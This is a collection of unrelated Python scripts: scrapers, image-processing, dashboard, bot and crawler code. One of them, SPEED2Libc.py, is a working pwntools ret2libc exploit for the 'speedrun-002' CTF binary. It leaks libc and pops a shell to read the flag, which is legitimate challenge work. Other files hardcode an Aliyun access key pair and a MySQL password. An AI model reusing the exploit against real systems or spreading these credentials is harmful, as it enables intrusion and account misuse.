json\n\nif __name__ == \"__main__\":\n soup = \"\"\n\n print(path.exists(\"website.html\"))\n\n if (path.exists(\"website.html\")):\n wbs_file = open(\"website.html\", \"r\")\n soup = bs(wbs_file.read(), \"html.parser\")\n else:\n url = 'https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number'\n url_response = requests.get(url)\n soup = bs(url_response.text, \"html.parser\")\n wbs_file = open(\"website.html\", \"w\")\n wbs_file.write(str(url_content.encode('utf-8')))\n wbs_file.close()\n\n table_list = soup.find_all('table')\n pokemon_list_all = []\n\n # 8 Generations for now, at least\n # 1st table is a \"shortcut list\"\n for i in range(1, 9):\n tr_list = table_list[i].find_all('tr')\n pokemon_list_gen = []\n print(len(tr_list))\n\n for j in range(1, len(tr_list)):\n pokemon_list_gen.append(\n tr_list[j].find_all('td')[2].get_text()[0:-2])\n\n pokemon_list_all.append(pokemon_list_gen.copy())\n\n print(pokemon_list_all)\n\n pokelist = {}\n\n for i in range(0,8):\n pokelist['gen'+str(i+1)] = pokemon_list_all[i]\n\n with open('pokelist.txt', 'w') as f:\n json.dump(pokelist, f)\n\n","sub_path":"pokemon_list_scraper/bulbapedia_scraper.py","file_name":"bulbapedia_scraper.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"418463827","text":"# -*- coding: utf-8 -*-\nimport oss2\n\n# 阿里云主账号AccessKey拥有所有API的访问权限,风险很高。强烈建议您创建并使用RAM账号进行API访问或日常运维,请登录 https://ram.console.aliyun.com 创建RAM账号。\nauth = oss2.Auth('LTAI4FsLwhyviCa4BtTqUrvo', 'NIgxVFvknFxHjHdewnYrKV8Kv2uOMe')\n# Endpoint以杭州为例,其它Region请按实际情况填写。\nbucket = oss2.Bucket(auth, 'http://oss-cn-beijing.aliyuncs.com', 'wangyang-bucket')\n\n\n\n\n\n\nimport requests\nimport re\nfrom urllib.request import urlopen\n\ngetHtmlHeaders={\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q = 0.9'\n}\n# html = urlopen(\"http://47.93.201.74/admin\").read().decode(\"utf-8\")\n\n# resp = requests.get(\"https://music.163.com/discover/toplist?id=3198681354\",headers= getHtmlHeaders)\nresp = requests.get(\"https://music.163.com/playlist?id=883623437\",headers= getHtmlHeaders)\n\nfrom bs4 import BeautifulSoup\nsoup = BeautifulSoup(resp.text,features='lxml')\nall_href = soup.find_all('a',{'href':re.compile('/song\\?id=(\\d+)')})\n# all_href = [l for l in all_href]\n# print(all_href)\npattern = re.compile('/song\\?id=(\\d+)')\nmusic_dict = {}\nfor music in all_href:\n # print(pattern.findall(l['href']))\n music_dict[music.text] = pattern.findall(music['href'])[0]\n # print(music.text,pattern.findall(music['href'])[0])\nfor music in music_dict:\n print(\"正在下载音乐:\"+music)\n input = requests.get('http://music.163.com/song/media/outer/url?id={}.mp3'.format(music_dict[music]), headers= getHtmlHeaders)\n \n \n result = bucket.put_object(\"music/\"+music+\".mp3\", input)\n print('http status: {0}'.format(result.status))\n \n \n # print(response.url)\n # with open(\"crawler/music/{}.mp3\".format(music),\"wb\") as f:\n # f.write(response.content)\n # f.flush()\n\n\n\n\n\n# 上传文件\n# 如果需要上传文件时设置文件存储类型与访问权限,请在put_object中设置相关headers, 参考如下。\n# headers = dict()\n# headers[\"x-oss-storage-class\"] = \"Standard\"\n# headers[\"x-oss-object-acl\"] = oss2.OBJECT_ACL_PRIVATE\n# result = bucket.put_object('', 'content of object', headers=headers)\n# result = bucket.put_object('', 'content of object')\n\n# with open('', 'rb') as fileobj:\n# # Seek方法用于指定从第1000个字节位置开始读写。上传时会从您指定的第1000个字节位置开始上传,直到文件结束。\n# fileobj.seek(1000, os.SEEK_SET)\n# # Tell方法用于返回当前位置。\n# current = fileobj.tell()\n# bucket.put_object('', fileobj)\n\n# HTTP返回码。\n# print('http status: {0}'.format(result.status))\n# # 请求ID。请求ID是请求的唯一标识,强烈建议在程序日志中添加此参数。\n# print('request_id: {0}'.format(result.request_id))\n# # ETag是put_object方法返回值特有的属性。\n# print('ETag: {0}'.format(result.etag))\n# # HTTP响应头部。\n# print('date: {0}'.format(result.headers['date']))","sub_path":"tools/oss/alioss/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"72415420","text":"# 数据准备\n\nimport cv2 as cv\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport time\n\nstartTime = time.clock()\n\nimg = cv.imread(\n \"E:/VS_Programming/OpenCV Program/Hog-feature/Hog-feature/data/person.png\",\n cv.IMREAD_GRAYSCALE)\nimg1 = np.sqrt(img / float(np.max(img)))*255\n# cv.imshow(\"Image\",img)\n# cv.imshow(\"Image1\",img1)\ncv.waitKey(0)\n\n#计算各个像素的梯度\n\nheight, width = img.shape\n#计算像素点x方向的梯度(1阶导数)\ngradient_value_x = cv.Sobel(img, cv.CV_64F, 1, 0, ksize=5)\n#计算像素点y放心的梯度(1阶导数)\ngradient_value_y = cv.Sobel(img, cv.CV_64F, 0, 1, ksize=5)\n#计算像素点的梯度大小\ngradient_magnitude = cv.addWeighted(gradient_value_x, 0.5, gradient_value_y,\n 0.5, 0)\n#计算像素点的梯度方向\ngradient_angle = cv.phase(\n gradient_value_x, gradient_value_y, angleInDegrees=True)\nprint(gradient_magnitude.shape, gradient_angle.shape)\n\n# 为每个细胞单元构建梯度方向直方图\ncell_size = 8\nbin_size = 8\nangle_unit = 360 / bin_size\ngradient_magnitude = abs(gradient_magnitude)\ncell_gradient_vector = np.zeros((int(height / cell_size),\n int(width / cell_size), bin_size))\nprint(cell_gradient_vector.shape)\n\n\ndef cell_gradient(cell_magnitude, cell_angle):\n \"\"\"\n 对cell内每个像素用梯度方向在直方图中进行加权投影(映射到固定的角度范围),就可以得到这个cell的梯度方向直方图了,\n 就是该cell对应的8维特征向量而梯度大小作为投影的权值\n\n \"\"\"\n orientation_centers = [0] * bin_size\n for k in range(cell_magnitude.shape[0]):\n for l in range(cell_magnitude.shape[1]):\n gradient_strength = cell_magnitude[k][l]\n gradient_angle = cell_angle[k][l]\n min_angle = int(gradient_angle / angle_unit) % bin_size\n max_angle = (min_angle + 1) % bin_size\n mod = gradient_angle % angle_unit\n orientation_centers[min_angle] += (\n gradient_strength * (1 - (mod / angle_unit)))\n orientation_centers[max_angle] += (\n gradient_strength * (mod / angle_unit))\n return orientation_centers\n\n\nfor i in range(cell_gradient_vector.shape[0]):\n for j in range(cell_gradient_vector.shape[1]):\n cell_magnitude = gradient_magnitude[i * cell_size:(i + 1) *\n cell_size, j * cell_size:(j + 1) *\n cell_size] #获取一个细胞单元中的所有梯度值\n\n cell_angle = gradient_angle[i * cell_size:(i + 1) * cell_size, j *\n cell_size:(j + 1) *\n cell_size] #获取一个细胞单元中的所有梯度方向\n\n # print(cell_angle.max())\n\n cell_gradient_vector[i][j] = cell_gradient(cell_magnitude, cell_angle)\n\n# 可视化Cell梯度直方图\nhog_image = np.zeros([height, width])\ncell_gradient = cell_gradient_vector\ncell_width = cell_size / 2\nmax_mag = np.array(cell_gradient).max()\nfor x in range(cell_gradient.shape[0]):\n for y in range(cell_gradient.shape[1]):\n cell_grad = cell_gradient[x][y]\n cell_grad /= max_mag #由于局部光照的变化以及前景-背景对比度的变化,使得梯度强度的变化范围非常大,就需要进行块内归一化梯度直方图\n angle=0\n angle_gap=angle_unit\n for magnitude in cell_grad:\n angle_radian = math.radians(angle)\n x1 = int(x * cell_size + magnitude * cell_width * math.cos(angle_radian))\n y1 = int(y * cell_size + magnitude * cell_width * math.sin(angle_radian))\n x2 = int(x * cell_size - magnitude * cell_width * math.cos(angle_radian))\n y2 = int(y * cell_size - magnitude * cell_width * math.sin(angle_radian))\n cv.line(hog_image, (y1, x1), (y2, x2), int(255 * math.sqrt(magnitude)))\n angle += angle_gap\n\n\n# 统计Block的梯度信息\n# hog_vector = []\n# for i in range(cell_gradient_vector.shape[0] - 1):\n# for j in range(cell_gradient_vector.shape[1] - 1):\n# block_vector = [] #list\n# block_vector.extend(cell_gradient_vector[i][j])\n# block_vector.extend(cell_gradient_vector[i][j + 1])\n# block_vector.extend(cell_gradient_vector[i + 1][j])\n# block_vector.extend(cell_gradient_vector[i + 1][j + 1])\n# mag = lambda vector:math.sqrt(sum(i**2 for i in vector))\n# magnitude = mag(block_vector)\n# if magnitude != 0:\n# normalize = lambda block_vector,magnitude:[element / magnitude for element in block_vector]\n# block_vector = normalize(block_vector, magnitude) #梯度归一化\n# hog_vector.append(block_vector)\n\n# print(np.array(hog_vector).shape)\n\n\n\nendTime= time.clock()\nprint(endTime-startTime)\n\nplt.imshow(hog_image, cmap=plt.cm.gray)\nplt.show()\n\n\n","sub_path":"python/hog_feature.py","file_name":"hog_feature.py","file_ext":"py","file_size_in_byte":4964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"396688581","text":"\"\"\"FINALER CODE ZUR VISUALISIERUNG (1. Version war bloß eine \"Notlösung\")\r\nDieser Code ist in Teilen inspiriert von Code von: https://dash.plotly.com/basic-callbacks.\"\"\"\r\n\r\nimport pandas as pd\r\nimport sqlite3\r\nfrom pandas import DataFrame\r\n\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\n\r\nimport dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nfrom dash.dependencies import Input, Output\r\n\r\nconn =sqlite3.connect('Datenbank.db')\r\nconn.execute(\"PRAGMA foreign_keys = 1\")\r\nc = conn.cursor()\r\n\r\nc.execute('''SELECT hat_Co2Emissionen.Name,hat_Co2Emissionen.Jahre,\r\nhat_Co2Emissionen.Co2_pro_Kopf, hat_Fleischkonsum.Kg_pro_Kopf,\r\nhat_Bevölkerung.Wachstumsfaktor\r\nFROM hat_Co2Emissionen\r\nINNER JOIN hat_Fleischkonsum ON hat_Co2Emissionen.Name = hat_Fleischkonsum.Name\r\nAND hat_Co2Emissionen.Jahre = hat_Fleischkonsum.Jahre\r\nINNER JOIN hat_Bevölkerung ON hat_Co2Emissionen.Name = hat_Bevölkerung.Name\r\nAND hat_Co2Emissionen.Jahre = hat_Bevölkerung.Jahre''')\r\ndf = DataFrame(c.fetchall(), columns = ['Name','Jahre','CO2 pro Kopf','Fl.konsum in kg','Wachstumsfaktor'])\r\nprint (df)\r\n\r\napp = dash.Dash(__name__)\r\n\r\n#-------------------------------------------------------------------------------\r\n#Layout\r\n\r\napp.layout = html.Div([\r\n\r\n html.H3(\"Zusammenhang Fleischkonsum, Wachstumsfaktor & CO2-Emissionen\", style={'text-align':'center'}),\r\n\r\n html.Div(id='output_container',style={'text-align':'center'}),\r\n \r\n dcc.Graph(id='zsmhg_graph'),\r\n \r\n dcc.Slider(\r\n id='jahr_slider',\r\n min=df['Jahre'].min(),\r\n max=df['Jahre'].max(),\r\n value=df['Jahre'].max(),\r\n marks={str(Jahre):str(Jahre) for Jahre in df['Jahre'].unique()},\r\n step = None \r\n )\r\n])\r\n\r\n# ------------------------------------------------------------------------------\r\n# Verbindung Graph und Dash Komponenten\r\n@app.callback(\r\n Output('output_container', 'children'),\r\n Output('zsmhg_graph', 'figure'),\r\n Input('jahr_slider', 'value'))\r\ndef update_graph(gewähltes_jahr):\r\n\r\n container = \"Im Jahr: {}\".format(gewähltes_jahr)\r\n \r\n dff = df[df.Jahre == gewähltes_jahr]\r\n\r\n fig = px.scatter(dff, x=\"Fl.konsum in kg\", y=\"Wachstumsfaktor\", \r\n size=\"CO2 pro Kopf\",hover_name=\"Name\",color=\"Name\")\r\n\r\n return container, fig\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)\r\n","sub_path":"Visualisierung_FINAL.py","file_name":"Visualisierung_FINAL.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"632304132","text":"import serial\r\n\r\nsamples = 2000 #number of samples to collect on this run\r\n\r\narduino_port = 'COM5' #Arduino serial port (double check)\r\nbaud = 9600 #same baud rate specified in Arduino code\r\nfileName = \"circles_overhand_weight-60.csv\"\r\n\r\nser = serial.Serial(arduino_port,baud)\r\nprint(\"Conectado al puerto: \", arduino_port)\r\nfile = open(fileName, \"a\") #\"a\" appends to an existing file\r\nprint(\"Archivo creado!\")\r\n\r\nline = 0 #tracks the number of sample we are reading (line 0 is column headers)\r\nwhile line <= samples:\r\n\r\n # Display data in terminal\r\n if line ==0:\r\n print(\"Printing column headers...\")\r\n else:\r\n print(\"Transcribing to line \",str(line),\"...\")\r\n getData = str(ser.readline())\r\n data = getData[2:][:-5] #double check this\r\n print(data)\r\n\r\n # Add data to file\r\n file = open(fileName, \"a\") #append data to file\r\n file.write(data + \"\\n\") #write data with a new line\r\n line += 1 #line advances by one\r\n\r\n# Close the file\r\nfile.close()\r\n","sub_path":"stanford_cs229/utils/CSVlog_3sensor.py","file_name":"CSVlog_3sensor.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"399014275","text":"ageDifference = 6\npeople = [\n {\n 'name': \"Мария\",\n 'interests': ['пътуване', 'танци', 'плуване', 'кино'],\n 'age': 24,\n 'gender': \"female\",\n \"ex\": [\"Кирил\", \"Петър\"],\n },\n {\n 'name': \"Диана\",\n 'interests': ['мода', 'спортна стрелба', 'четене', 'скандинавска поезия'],\n 'age': 21,\n 'gender': \"female\",\n \"ex\": [],\n },\n {\n 'name': \"Дарина\",\n 'interests': ['танци', 'покер', 'история', 'софтуер'],\n 'age': 34,\n 'gender': \"female\",\n \"ex\": [\"Борис\"],\n },\n {\n 'name': \"Лилия\",\n 'interests': ['покер', 'автомобили', 'танци', 'кино'],\n 'age': 36,\n 'gender': \"female\",\n \"ex\": [],\n },\n {\n 'name': \"Галя\",\n 'interests': ['пътуване', 'автомобили', 'плуване', 'баскетбол'],\n 'age': 18,\n 'gender': \"female\",\n \"ex\": ['Димитър'],\n },\n {\n 'name': \"Валерия\",\n 'interests': ['плуване', 'покер', 'наука', 'скандинавска поезия'],\n 'age': 27,\n 'gender': \"female\",\n \"ex\": [],\n },\n {\n 'name': \"Ина\",\n 'interests': ['кино', 'лов със соколи', 'пътуване', 'мода'],\n 'age': 20,\n 'gender': \"female\",\n \"ex\": [],\n },\n {\n 'name': \"Кирил\",\n 'interests': ['баскетбол', 'автомобили', 'кино', 'наука'],\n 'age': 19,\n 'gender': \"male\",\n 'ex': [\"Мария\"],\n },\n {\n 'name': \"Георги\",\n 'interests': ['автомобили', 'футбол', 'плуване', 'танци'],\n 'age': 32,\n 'gender': \"male\",\n 'ex': [],\n },\n {\n 'name': \"Андрей\",\n 'interests': ['футбол', 'скандинавска поезия', 'история', 'танци'],\n 'age': 26,\n 'gender': \"male\",\n 'ex': [\"Мария\"],\n },\n {\n 'name': \"Емил\",\n 'interests': ['летене', 'баскетбол', 'софтуер', 'наука'],\n 'age': 34,\n 'gender': \"male\",\n 'ex': ['Дарина'],\n },\n {\n 'name': \"Димитър\",\n 'interests': ['футбол', 'лов със соколи', 'автомобили', 'баскетбол'],\n 'age': 22,\n 'gender': \"male\",\n 'ex': ['Галя'],\n },\n {\n 'name': \"Петър\",\n 'interests': ['пътуване', 'покер', 'баскетбол', 'лов със соколи'],\n 'age': 23,\n 'gender': \"male\",\n 'ex': [\"Мария\"],\n },\n {\n 'name': \"Калоян\",\n 'interests': ['кино', 'покер', 'пътуване', 'автомобили'],\n 'age': 29,\n 'gender': \"male\",\n 'ex': [],\n },\n]\n\nmatchedPeople = []\nfor i in people:\n for j in people:\n differentGender = i['gender'] is not j['gender']\n interestsIntersect = len(set(i['interests']).intersection(set(j['interests'])))\n peopleNotMatched = i['name'] not in matchedPeople and j['name'] not in matchedPeople\n newPartner = i['name'] not in j['ex'] and j['name'] not in i['ex']\n ageInRange = False\n if i['age'] > j['age']:\n ageInRange = i['age'] - j['age'] <= ageDifference\n else:\n ageInRange = j['age'] - i['age'] <= ageDifference\n\n if differentGender and interestsIntersect and peopleNotMatched and newPartner and ageInRange:\n print('{0} ({1}) и {2} ({3}) - общ интерес; {4}'.format(i['name'], i['age'], j['name'], j['age'],\n set(i['interests']).intersection(set(j['interests']))))\n matchedPeople.append(i['name'])\n matchedPeople.append(j['name'])","sub_path":"PythonCode/2. Основни структури от данни - str, list, tuple, set, dict/Matchmaking - v2/matchmaking_v2.py","file_name":"matchmaking_v2.py","file_ext":"py","file_size_in_byte":4055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"414538594","text":"#!/usr/bin/env python\r\nimport tweepy\r\n#from our keys module (keys.py), import the keys dictionary\r\nfrom keys import keys\r\n\r\nCONSUMER_KEY = keys['consumer_key']\r\nCONSUMER_SECRET = keys['consumer_secret']\r\nACCESS_TOKEN = keys['access_token']\r\nACCESS_TOKEN_SECRET = keys['access_token_secret']\r\n\r\nauth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\r\nauth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)\r\napi = tweepy.API(auth)\r\n\r\ntwts = api.search(q=\"Viva Mexico!\")\r\n\r\n#list of specific strings we want to check for in Tweets\r\nt = ['viva mexico!',\r\n 'Que Viva Mexico!',\r\n 'que viva mexico',]\r\n\r\nfor s in twts:\r\n for i in t:\r\n if i == s.text:\r\n sn = s.user.screen_name\r\n m = \"Viva Mexico!!\" % (sn)\r\n s = api.update_status(m, s.id)\r\n","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"584664818","text":"from typing import Optional, Dict\n\nfrom sklearn.base import RegressorMixin\n\nfrom autoflow.estimator.base import AutoFlowEstimator\n\n\nclass AutoFlowRegressor(AutoFlowEstimator, RegressorMixin):\n checked_mainTask = \"regression\"\n\n def predict(\n self,\n X_test,\n task_id=None,\n trial_id=None,\n experiment_id=None,\n column_descriptions: Optional[Dict] = None,\n highR_nan_threshold=0.5\n ):\n self._predict(X_test, task_id, trial_id, experiment_id, column_descriptions, highR_nan_threshold)\n return self.estimator.predict(self.data_manager.X_test)\n","sub_path":"autoflow/estimator/regressor.py","file_name":"regressor.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"454613380","text":"# -*- coding: utf-8 -\n#\n# This file is part of couchdbkit released under the MIT license. \n# See the NOTICE for more information.\n\nfrom restkit.errors import NoMoreData\n\nfrom couchdbkit.consumer.base import ConsumerBase, check_callable\nfrom couchdbkit.utils import json\n\nclass AsyncConsumer(ConsumerBase):\n\n def __init__(self, db, spawn=None):\n ConsumerBase.__init__(self, db)\n self.spawn = spawn\n\n\n # functions you could ovveride\n\n def sleep(self, t):\n return\n\n def wait_read(self, sock):\n raise NotImplementedError\n\n def patch_socket(self, sock):\n return sock \n\n\n ####################################\n # main functions\n ####################################\n\n def handle(self, cb, line):\n try:\n line = json.loads(line)\n except ValueError:\n pass\n cb(line)\n\n def fetch(self, cb, **params):\n resp = self.db.res.get(\"_changes\", **params)\n if cb is not None:\n check_callable(cb)\n self.spawn(cb, resp.json_body)\n self.sleep(0.1)\n else:\n return resp.json_body \n\n def wait_once(self, cb=None, **params):\n if cb is not None:\n check_callable(cb)\n\n params.update({\"feed\": \"longpoll\"})\n resp = self.db.res.get(\"_changes\", **params)\n \n with resp.body_stream() as body:\n sock = self.patch_socket(body.reader.unreader.sock)\n body.reader.unreader.sock = sock\n try:\n while True:\n if self.wait_read(sock):\n buf = []\n while True:\n chunk = body.read()\n if not chunk:\n break\n buf.append(chunk)\n\n if cb is not None:\n self.spawn(self.handle, cb, \"\".join(buf))\n self.sleep(0.1)\n else:\n ret = \"\".join(buf)\n try:\n return json.loads(ret)\n except ValueError:\n return ret\n break\n except NoMoreData:\n pass\n except (SystemExit, KeyboardInterrupt):\n pass\n \n def wait(self, cb, **params):\n params.update({\"feed\": \"continuous\"})\n resp = self.db.res.get(\"_changes\", **params)\n \n if resp.headers.get('transfer-encoding') == \"chunked\":\n self.chunked = True\n else:\n self.chunked = False\n\n with resp.body_stream() as body:\n sock = self.patch_socket(body.reader.unreader.sock)\n body.reader.unreader.sock = sock\n sock.setblocking(0)\n\n # read all buf if possible\n buf = resp.response.body.reader.unreader.buf.getvalue()\n resp.response.body.reader.unreader.buf.truncate(0)\n body.buf.write(buf)\n \n try:\n while True:\n if self.wait_read(sock):\n line = body.readline()\n if not line:\n break\n if line.endswith(\"\\r\\n\"):\n line = line[:-2]\n else:\n line = line[:-1]\n if not line:\n continue\n\n self.spawn(self.handle, cb, line)\n self.sleep(0.1)\n except (KeyboardInterrupt, SystemExit):\n pass\n\n \n","sub_path":"couchdbkit/consumer/async.py","file_name":"async.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"476522782","text":"import logging\nimport requests\nimport core.video_db as db\nlogger = logging.getLogger(__name__)\n\npayload = {\n 'mode': '',\n 'page': 2\n}\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'\n}\nDEFAULT_TIMEOUT = 5\n\nSTATE_WAITING_FOR_CRAWLING = 0\nSTATE_WAITING_FOR_PARSING = 1\nSTATE_WAITING_FOR_STORING = 2\nSTATE_COMPLETED = 3\nSTATE_EXCEPTION_NO_CONTENT = 4\nSTATE_EXCEPTION_NETWORK = 5\nSTATE_EXCEPTION_PARSING = 6\nSTATE_EXCEPTION_STORING = 7\nSTATE_ERROR_UNKNOWN = 8\n\nTASK_TYPE_MAIN_PAGE = 0\nTASK_TYPE_CATEGORY_PAGE = 1\nTASK_TYPE_DETAIL_PAGE = 2\nTASK_TYPE_LATEST_PAGE = 3\nTASK_TYPE_MAGNET_PAGE = 5\nFAKE_TASK = object()\n\n\nclass TaskException(Exception):\n def __init__(self, task, cause, *args, **kwargs):\n super().__init__(self, args, kwargs)\n self.task = task\n self.cause = cause\n\n\nclass Task:\n def __init__(self, url_template, params, task_type, extends, description):\n self.url_template = url_template\n self.params = params\n self.task_type = task_type\n self.extends = extends\n self.description = description\n self.retry_times = 0\n self.crawl_result = None\n self.parse_result = None\n self.store_result = None\n self.exception = None\n\n def get_url(self):\n return self.url_template if self.params is None else self.url_template.format(**self.params)\n\n def parse(self):\n try:\n self._do_parse()\n except Exception as e:\n raise TaskException(self, e)\n\n def _do_parse(self):\n pass\n\n def crawl(self, timeout=DEFAULT_TIMEOUT):\n try:\n url = self.get_url()\n response = requests.get(url, headers=headers, timeout=timeout)\n response.raise_for_status()\n self.crawl_result = response.text\n self.exception = None\n return self\n except Exception as e:\n raise TaskException(self, e)\n\n def store(self):\n try:\n if self.parse_result:\n self.store_result = db.store(\n self.parse_result if self.extends is None else {**self.parse_result, **self.extends})\n self.exception = None\n return self\n except Exception as e:\n raise TaskException(self, e)\n\n def exist(self):\n try:\n if self.parse_result:\n return db.exist(self.parse_result if self.extends is None else {**self.parse_result, **self.extends})\n raise ValueError('no parse result provided %s' % self)\n except Exception as e:\n raise TaskException(self, e)\n\n def __str__(self, *args, **kwargs):\n return 'Task[url_template :%s; params:%s task_type:%s; extends: %s; description:%s]' % (\n self.url_template, str(self.params), self.task_type, self.extends, self.description)\n\n def __repr__(self, *args, **kwargs):\n return self.__str__(*args, **kwargs)\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"res-tag-auto/core/crawl_task.py","file_name":"crawl_task.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"568464571","text":"from pwn import *\n\n# Addresses\nputs_plt =0x4005b0\nputs_got =0x601028\nentry_point =0x00400600\npop_rdi = 0x004008a3\n# Offsets\noffset_puts =0x00071910\noffset_system =0x000449c0\noffset_str_bin_sh =0x181519\noffset_exit =0x00039ea0\n\ncontext.log_level = \"debug\"\n\ndef main():\n # open process\n p = process(\"./speedrun-002\")\n #gdb.attach(p)\n #p = remote(\"speedrun-002.quals2019.oooverflow.io\", 31337)\n\n # Stage 1\n p.recvuntil(\"What say you now?\")\n p.sendline(\"Everything intelligent is so boring.\\n\")\n p.recvuntil(\"Tell me more.\")\n\n\n\n # Initial payload\n payload = \"A\" * 1032 # padding\n\n ropchain = p64(pop_rdi)\n ropchain += p64(puts_got)\n ropchain += p64(puts_plt)\n ropchain += p64(entry_point)\n\n\n payload = payload + ropchain\n\n p.clean()\n p.sendline(payload)\n p.recvuntil(\"Fascinating.\\n\")\n # Take 4 bytes of the output\n leak = p.recv(6).ljust(8, \"\\x00\")\n #leak = p.recv(8)#4\n log.info(\"leak: %s\" % leak )\n\n leak = u64(leak)\n log.info(\"puts is at: 0x%x\" % leak)\n p.clean()\n\n\n libc_base = leak - offset_puts\n log.info(\"libc base: 0x%x\" % libc_base)\n\n # Stage 2\n\n # Calculate offsets\n system_addr = libc_base + offset_system\n binsh_addr = libc_base + offset_str_bin_sh\n exit_addr = libc_base + offset_exit\n\n log.info(\"system: 0x%x\" % system_addr)\n log.info(\"binsh: 0x%x\" % binsh_addr)\n log.info(\"exit: 0x%x\" % exit_addr)\n\n # Build 2nd payload\n payload2 = \"B\" * 1032\n ropchain2 = p64(pop_rdi)\n ropchain2 += p64(binsh_addr)\n ropchain2 += p64(system_addr)\n # ropchain2 += p64(exit_addr)\n\n # Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)\n # Then you'll execute system(\"sh\")\n\n log.info(\"ropchain2: 0x%s\" % ropchain2)\n\n payload2 = payload2 + ropchain2 #+\"\\x00\"\n\n\n #p.recvuntil(\"What say you now?\")\n p.sendline(\"Everything intelligent is so boring.\\x00\")\n p.recvuntil(\"Tell me more.\")\n\n\n p.sendline(payload2)\n p.recvuntil(\"Fascinating.\\n\")\n log.success(\"Here comes the shell!\")\n\n #p.clean()\n #p.sendline((\"ls\"))\n p.sendline(\"cat flag\")\n p.interactive()\n\n p.sendline((\"cat flag\"))\n\nif __name__ == \"__main__\":\n main()","sub_path":"SPEED2Libc.py","file_name":"SPEED2Libc.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"359621867","text":"from selenium.webdriver import ActionChains\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import NoSuchElementException as NoSuchEl\nfrom selenium.common.exceptions import StaleElementReferenceException as StaleRef\n\n\n__author__ = 'Illia'\n\n\ndef find_element(context, xpath):\n try:\n return context.browser.find_element(By.XPATH, xpath)\n except StaleRef:\n return context.browser.find_element(By.XPATH, xpath)\n except NoSuchEl:\n print(\"Element by \" + xpath + \" could not be found...\")\n\n\ndef find_elements(context, xpath):\n try:\n return context.browser.find_elements(By.XPATH, xpath)\n except StaleRef:\n return context.browser.find_elements(By.XPATH, xpath)\n except NoSuchEl:\n print(\"Elements by \" + xpath + \" could not be found...\")\n\n\ndef wait_for(context, ec, xpath, timeout=None):\n if timeout is None:\n timeout = context.settings['timeout']\n try:\n WebDriverWait(context.browser, int(timeout)).until(ec((By.XPATH, xpath)))\n except StaleRef:\n WebDriverWait(context.browser, int(timeout)).until(ec((By.XPATH, xpath)))\n except NoSuchEl:\n pass\n\n\ndef move_to_element(context, xpath):\n element = find_element(context, xpath)\n ActionChains(context.browser).move_to_element(element).click(element).perform()","sub_path":"support/finder.py","file_name":"finder.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"455144263","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n机构追踪法实现\r\n\"\"\"\r\nfrom spiders.track_asset import spider_simu as simu\r\nfrom spiders.track_asset import spider_qichacha as qcc\r\nimport time\r\nimport pymysql\r\nimport datetime\r\n\r\nconn = pymysql.connect(\r\n host='106.75.65.56',\r\n db='news',\r\n user='root',\r\n passwd='wotou',\r\n charset='utf8',\r\n use_unicode=True)\r\ncursor = conn.cursor()\r\n\r\ndef need_update(manager, interval_days):\r\n cursor.execute(\"\"\"select spider_date from white_list_manager where manager=%s \"\"\" , (manager,))\r\n ret = cursor.fetchone()[0]\r\n # print 'ret', ret\r\n if ret:\r\n spider_date = ret\r\n now = datetime.datetime.now()\r\n return (now - spider_date).days > interval_days\r\n return True\r\n\r\ndef white_list_track():\r\n \"\"\"\r\n 批量处理白名单投资人\r\n \"\"\"\r\n cursor.execute(\"\"\"select manager from white_list_manager\"\"\")\r\n manager_list = cursor.fetchall()\r\n result_dict = {}\r\n for w in manager_list:\r\n manager_name = w[0].encode('utf8')\r\n if need_update(manager_name, 30):\r\n new_result = track(manager_name)\r\n result_dict = dict(new_result, **result_dict )\r\n cursor.execute(\"\"\"update white_list_manager set spider_date = %s where manager=%s\"\"\", (datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'), manager_name))\r\n conn.commit()\r\n 